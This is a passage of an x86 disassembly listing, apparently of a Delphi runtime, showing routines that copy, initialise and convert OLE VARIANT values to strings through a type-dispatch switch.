		test	di, 2000h
		jz	short loc_2000D9E8
		mov	ecx, offset loc_2000D964
		mov	edx, esi
		mov	eax, ebx
		call	sub_2000D798
		jmp	short loc_2000DA12
; ---------------------------------------------------------------------------


loc_2000D9E8:				; CODE XREF: sub_2000D96C+6Aj
		mov	edx, esp
		mov	eax, edi
		call	sub_2000EFAC
		test	al, al
		jz	short loc_2000DA06
		push	0
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [esp+14h+var_10]
		mov	ebx, [eax]
		call	dword ptr [ebx+28h]
		jmp	short loc_2000DA12
; ---------------------------------------------------------------------------


loc_2000DA06:				; CODE XREF: sub_2000D96C+87j
		push	esi		; pvargSrc
		push	ebx		; pvargDest
		call	VariantCopy
		call	sub_2000D3D8


loc_2000DA12:				; CODE XREF: sub_2000D96C+2Bj
					; sub_2000D96C+49j ...
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000D96C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000DA18	proc near		; CODE XREF: CODE:loc_2000D964p
					; sub_2000DC5C+28p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_2000DA58
		test	word ptr [ebx],	0BFE8h
		jnz	short loc_2000DA4F
		test	word ptr [esi],	0BFE8h
		jz	short loc_2000DA37
		mov	eax, esi
		call	sub_2000D674


loc_2000DA37:				; CODE XREF: sub_2000DA18+16j
		mov	eax, [ebx]
		mov	[esi], eax
		mov	eax, [ebx+4]
		mov	[esi+4], eax
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+0Ch], eax
		jmp	short loc_2000DA58
; ---------------------------------------------------------------------------


loc_2000DA4F:				; CODE XREF: sub_2000DA18+Fj
		mov	edx, ebx
		mov	eax, esi
		call	sub_2000D96C


loc_2000DA58:				; CODE XREF: sub_2000DA18+8j
					; sub_2000DA18+35j
		pop	esi
		pop	ebx
		retn
sub_2000DA18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DA5C	proc near		; CODE XREF: sub_2000DD44+141p
					; sub_2000DD44+3ABp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004664
		push	eax
		push	0
		push	400h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, ds:off_2001440C
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 6
		call	sub_2000D3E4
		pop	ebx
		pop	ebp
		retn	8
sub_2000DA5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DA94	proc near		; CODE XREF: sub_2000DD44+15Ep
					; sub_2000DD44+3CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20004664
		push	eax
		push	0
		push	400h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, ds:off_200144B0
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 7
		call	sub_2000D3E4
		pop	ebx
		pop	ebp
		retn	8
sub_2000DA94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DACC	proc near		; CODE XREF: sub_2000DD44+1A9p
					; sub_2000DD44+3F8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000DB82
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_20004664
		push	eax
		push	0
		push	400h
		push	esi
		mov	eax, ds:off_20014534
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 0Bh
		call	sub_2000D3E4
		mov	al, ds:byte_2001433C
		sub	al, 1
		jb	short loc_2000DB67
		jz	short loc_2000DB20
		dec	al
		jz	short loc_2000DB41
		jmp	short loc_2000DB62
; ---------------------------------------------------------------------------


loc_2000DB20:				; CODE XREF: sub_2000DACC+4Cj
		lea	eax, [ebp+var_8]
		mov	edx, [ebx]
		call	sub_20004230
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_4]
		call	sub_20006F88
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_200047B0
		jmp	short loc_2000DB67
; ---------------------------------------------------------------------------


loc_2000DB41:				; CODE XREF: sub_2000DACC+50j
		lea	eax, [ebp+var_10]
		mov	edx, [ebx]
		call	sub_20004230
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		call	sub_20006F4C
		mov	edx, [ebp+var_C]
		mov	eax, ebx
		call	sub_200047B0
		jmp	short loc_2000DB67
; ---------------------------------------------------------------------------


loc_2000DB62:				; CODE XREF: sub_2000DACC+52j
		call	sub_2000D040


loc_2000DB67:				; CODE XREF: sub_2000DACC+4Aj
					; sub_2000DACC+73j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000DB89


loc_2000DB74:				; CODE XREF: sub_2000DACC+BBj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000DB82:				; DATA XREF: sub_2000DACC+12o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000DB74
; ---------------------------------------------------------------------------


loc_2000DB89:				; CODE XREF: sub_2000DACC+B5j
					; DATA XREF: sub_2000DACC+A3o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000DACC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DB90	proc near		; CODE XREF: sub_2000DD44+260p
					; sub_2000DD44+4AFp ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000DC4F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		xor	eax, eax
		push	ebp
		push	offset loc_2000DC2D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		push	0
		push	400h
		push	ebx
		lea	eax, [ebp+pvarg]
		push	eax
		mov	eax, ds:off_20014544
		mov	eax, [eax]
		call	eax
		mov	dx, [ebx]
		mov	cx, 100h
		call	sub_2000D3E4
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		mov	edx, dword ptr [ebp+pvarg.anonymous_0+8]
		call	sub_20004774
		mov	eax, [ebp+var_18]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_20004860
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_20004230
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000DC34


loc_2000DC24:				; CODE XREF: sub_2000DB90+A2j
		lea	eax, [ebp+pvarg]
		call	sub_2000D6F0
		retn
; ---------------------------------------------------------------------------


loc_2000DC2D:				; DATA XREF: sub_2000DB90+2Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000DC24
; ---------------------------------------------------------------------------


loc_2000DC34:				; CODE XREF: sub_2000DB90+9Cj
					; DATA XREF: sub_2000DB90+8Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000DC56


loc_2000DC41:				; CODE XREF: sub_2000DB90+C4j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_2000467C
		retn
; ---------------------------------------------------------------------------


loc_2000DC4F:				; DATA XREF: sub_2000DB90+17o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000DC41
; ---------------------------------------------------------------------------


loc_2000DC56:				; CODE XREF: sub_2000DB90+BEj
					; DATA XREF: sub_2000DB90+ACo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000DB90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DC5C	proc near		; CODE XREF: sub_2000DD44+298p

pvarg		= VARIANTARG ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		xor	eax, eax
		push	ebp
		push	offset loc_2000DCB2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+pvarg]
		call	sub_2000DA18
		lea	eax, [ebp+pvarg]
		call	ds:dword_20015828
		lea	edx, [ebp+pvarg]
		mov	eax, esi
		call	sub_2000DD44
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000DCB9


loc_2000DCA9:				; CODE XREF: sub_2000DC5C+5Bj
		lea	eax, [ebp+pvarg]
		call	sub_2000D6F0
		retn
; ---------------------------------------------------------------------------


loc_2000DCB2:				; DATA XREF: sub_2000DC5C+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000DCA9
; ---------------------------------------------------------------------------


loc_2000DCB9:				; CODE XREF: sub_2000DC5C+55j
					; DATA XREF: sub_2000DC5C+48o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000DC5C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DCC0	proc near		; CODE XREF: sub_2000DD44+4CBp

pvarg		= VARIANTARG ptr -1Ch
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_2000DCD7
		xor	edx, edx
		mov	[eax], edx


loc_2000DCD7:				; CODE XREF: sub_2000DCC0+11j
		lea	edx, [ebp+var_C]
		mov	ax, [ebx]
		call	sub_2000EFAC
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_2000DD3C
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		xor	eax, eax
		push	ebp
		push	offset loc_2000DD35
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	100h
		mov	ecx, ebx
		lea	edx, [ebp+pvarg]
		mov	eax, [ebp+var_C]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+pvarg.anonymous_0+8]
		call	sub_20003FFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000DD3C


loc_2000DD2C:				; CODE XREF: sub_2000DCC0+7Aj
		lea	eax, [ebp+pvarg]
		call	sub_2000D6F0
		retn
; ---------------------------------------------------------------------------


loc_2000DD35:				; DATA XREF: sub_2000DCC0+37o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000DD2C
; ---------------------------------------------------------------------------


loc_2000DD3C:				; CODE XREF: sub_2000DCC0+29j
					; sub_2000DCC0+74j
					; DATA XREF: ...
		mov	al, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000DCC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000DD44	proc near		; CODE XREF: sub_2000DC5C+3Bp
					; sub_2000DD44+251p ...

var_98		= tbyte	ptr -98h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Fh


loc_2000DD4C:				; CODE XREF: sub_2000DD44+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_2000DD4C
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000E27B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ax, [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_2000DFB8	; default
					; jumptable 2000DD76 cases 10,14,15
		jmp	off_2000DD7D[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_2000DD7D	dd offset loc_2000DDD1	; DATA XREF: sub_2000DD44+32r
		dd offset loc_2000DDDD	; jump table for switch	statement
		dd offset loc_2000DE05
		dd offset loc_2000DE20
		dd offset loc_2000DE3A
		dd offset loc_2000DE5B
		dd offset loc_2000DE7C
		dd offset loc_2000DE99
		dd offset loc_2000DEB6
		dd offset loc_2000DF9F
		dd offset loc_2000DFB8
		dd offset loc_2000DEE6
		dd offset loc_2000DF8E
		dd offset loc_2000DF9F
		dd offset loc_2000DFB8
		dd offset loc_2000DFB8
		dd offset loc_2000DF01
		dd offset loc_2000DF1C
		dd offset loc_2000DF38
		dd offset loc_2000DF53
		dd offset loc_2000DF71
; ---------------------------------------------------------------------------


loc_2000DDD1:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		mov	eax, esi	; jumptable 2000DD76 case 0
		call	sub_20003FA8
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DDDD:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		cmp	ds:byte_20014334, 0 ; jumptable	2000DD76 case 1
		jz	short loc_2000DDF3
		mov	dx, 100h
		mov	ax, 1
		call	sub_2000CFA4


loc_2000DDF3:				; CODE XREF: sub_2000DD44+A0j
		mov	eax, esi
		mov	edx, ds:dword_20014338
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DE05:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_4] ; jumptable 2000DD76 case 2
		movsx	eax, word ptr [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DE20:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_8] ; jumptable 2000DD76 case 3
		mov	eax, [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DE3A:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		fld	dword ptr [ebx+8] ; jumptable 2000DD76 case 4
		add	esp, 0FFFFFFF4h
		fstp	[esp+98h+var_98]
		wait
		lea	eax, [ebp+var_C]
		call	sub_20008390
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DE5B:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		fld	qword ptr [ebx+8] ; jumptable 2000DD76 case 5
		add	esp, 0FFFFFFF4h
		fstp	[esp+98h+var_98]
		wait
		lea	eax, [ebp+var_10]
		call	sub_20008390
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DE7C:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		push	dword ptr [ebx+0Ch] ; jumptable	2000DD76 case 6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_14]
		call	sub_2000DA5C
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DE99:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		push	dword ptr [ebx+0Ch] ; jumptable	2000DD76 case 7
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_18]
		call	sub_2000DA94
		mov	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DEB6:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	eax, [ebp+var_1C] ; jumptable 2000DD76 case 8
		push	eax
		lea	eax, [ebp+var_20]
		mov	edx, [ebx+8]
		call	sub_20004774
		mov	eax, [ebp+var_20]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_20004860
		mov	edx, [ebp+var_1C]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DEE6:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_24] ; jumptable 2000DD76 case 11
		mov	ax, [ebx+8]
		call	sub_2000DACC
		mov	edx, [ebp+var_24]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF01:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_28] ; jumptable 2000DD76 case 16
		movsx	eax, byte ptr [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_28]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF1C:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_2C] ; jumptable 2000DD76 case 17
		xor	eax, eax
		mov	al, [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_2C]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF38:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_30] ; jumptable 2000DD76 case 18
		movzx	eax, word ptr [ebx+8]
		call	sub_20007160
		mov	edx, [ebp+var_30]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF53:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		mov	eax, [ebx+8]	; jumptable 2000DD76 case 19
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_34]
		call	sub_2000724C
		mov	edx, [ebp+var_34]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF71:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		push	dword ptr [ebx+0Ch] ; jumptable	2000DD76 case 20
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_38]
		call	sub_2000724C
		mov	edx, [ebp+var_38]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF8E:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		mov	eax, [ebx+8]	; jumptable 2000DD76 case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_2000DD44
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DF9F:				; CODE XREF: sub_2000DD44+32j
					; DATA XREF: sub_2000DD44:off_2000DD7Do
		lea	edx, [ebp+var_3C] ; jumptable 2000DD76 cases 9,13
		mov	eax, ebx
		call	sub_2000DB90
		mov	edx, [ebp+var_3C]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DFB8:				; CODE XREF: sub_2000DD44+2Cj
					; sub_2000DD44+32j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 2000DD76 cases 10,14,15
		sub	dx, 100h
		jz	short loc_2000DFC8
		dec	dx
		jz	short loc_2000DFD7
		jmp	short loc_2000DFF0
; ---------------------------------------------------------------------------


loc_2000DFC8:				; CODE XREF: sub_2000DD44+27Bj
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DFD7:				; CODE XREF: sub_2000DD44+280j
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_2000DC5C
		mov	edx, [ebp+var_40]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000DFF0:				; CODE XREF: sub_2000DD44+282j
		test	ah, 40h
		jz	loc_2000E204
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_2000E1EE	; default
					; jumptable 2000E00A cases 0,1,9,10,13-15
		jmp	off_2000E011[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_2000E011	dd offset loc_2000E1EE	; DATA XREF: sub_2000DD44+2C6r
		dd offset loc_2000E1EE	; jump table for switch	statement
		dd offset loc_2000E065
		dd offset loc_2000E082
		dd offset loc_2000E09E
		dd offset loc_2000E0C1
		dd offset loc_2000E0E4
		dd offset loc_2000E103
		dd offset loc_2000E122
		dd offset loc_2000E1EE
		dd offset loc_2000E1EE
		dd offset loc_2000E133
		dd offset loc_2000E1E0
		dd offset loc_2000E1EE
		dd offset loc_2000E1EE
		dd offset loc_2000E1EE
		dd offset loc_2000E150
		dd offset loc_2000E16D
		dd offset loc_2000E18A
		dd offset loc_2000E1A7
		dd offset loc_2000E1C4
; ---------------------------------------------------------------------------


loc_2000E065:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		lea	edx, [ebp+var_44] ; jumptable 2000E00A case 2
		mov	eax, [ebx+8]
		movsx	eax, word ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_44]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E082:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		lea	edx, [ebp+var_48] ; jumptable 2000E00A case 3
		mov	eax, [ebx+8]
		mov	eax, [eax]
		call	sub_20007160
		mov	edx, [ebp+var_48]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E09E:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 4
		fld	dword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+98h+var_98]
		wait
		lea	eax, [ebp+var_4C]
		call	sub_20008390
		mov	edx, [ebp+var_4C]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E0C1:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 5
		fld	qword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+98h+var_98]
		wait
		lea	eax, [ebp+var_50]
		call	sub_20008390
		mov	edx, [ebp+var_50]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E0E4:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 6
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_54]
		call	sub_2000DA5C
		mov	edx, [ebp+var_54]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E103:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 7
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_58]
		call	sub_2000DA94
		mov	edx, [ebp+var_58]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E122:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, esi	; jumptable 2000E00A case 8
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_200041D0
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E133:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		lea	edx, [ebp+var_5C] ; jumptable 2000E00A case 11
		mov	eax, [ebx+8]
		mov	ax, [eax]
		call	sub_2000DACC
		mov	edx, [ebp+var_5C]
		mov	eax, esi
		call	sub_20004230
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E150:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		lea	edx, [ebp+var_60] ; jumptable 2000E00A case 16
		mov	eax, [ebx+8]
		movsx	eax, byte ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_60]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E16D:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		lea	edx, [ebp+var_64] ; jumptable 2000E00A case 17
		mov	eax, [ebx+8]
		movzx	eax, byte ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_64]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E18A:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		lea	edx, [ebp+var_68] ; jumptable 2000E00A case 18
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_20007160
		mov	edx, [ebp+var_68]
		mov	eax, esi
		call	sub_20003FFC
		jmp	loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E1A7:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 19
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_6C]
		call	sub_2000724C
		mov	edx, [ebp+var_6C]
		mov	eax, esi
		call	sub_20003FFC
		jmp	short loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E1C4:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 20
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_70]
		call	sub_2000724C
		mov	edx, [ebp+var_70]
		mov	eax, esi
		call	sub_20003FFC
		jmp	short loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E1E0:				; CODE XREF: sub_2000DD44+2C6j
					; DATA XREF: sub_2000DD44:off_2000E011o
		mov	eax, [ebx+8]	; jumptable 2000E00A case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_2000DD44
		jmp	short loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E1EE:				; CODE XREF: sub_2000DD44+2C0j
					; sub_2000DD44+2C6j
					; DATA XREF: ...
		lea	edx, [ebp+var_74] ; default
					; jumptable 2000E00A cases 0,1,9,10,13-15
		mov	eax, ebx
		call	sub_2000DB90
		mov	edx, [ebp+var_74]
		mov	eax, esi
		call	sub_20003FFC
		jmp	short loc_2000E22C
; ---------------------------------------------------------------------------


loc_2000E204:				; CODE XREF: sub_2000DD44+2AFj
		mov	eax, esi
		call	sub_20003FA8
		mov	edx, eax
		mov	eax, ebx
		call	sub_2000DCC0
		test	al, al
		jnz	short loc_2000E22C
		lea	edx, [ebp+var_78]
		mov	eax, ebx
		call	sub_2000DB90
		mov	edx, [ebp+var_78]
		mov	eax, esi
		call	sub_20003FFC


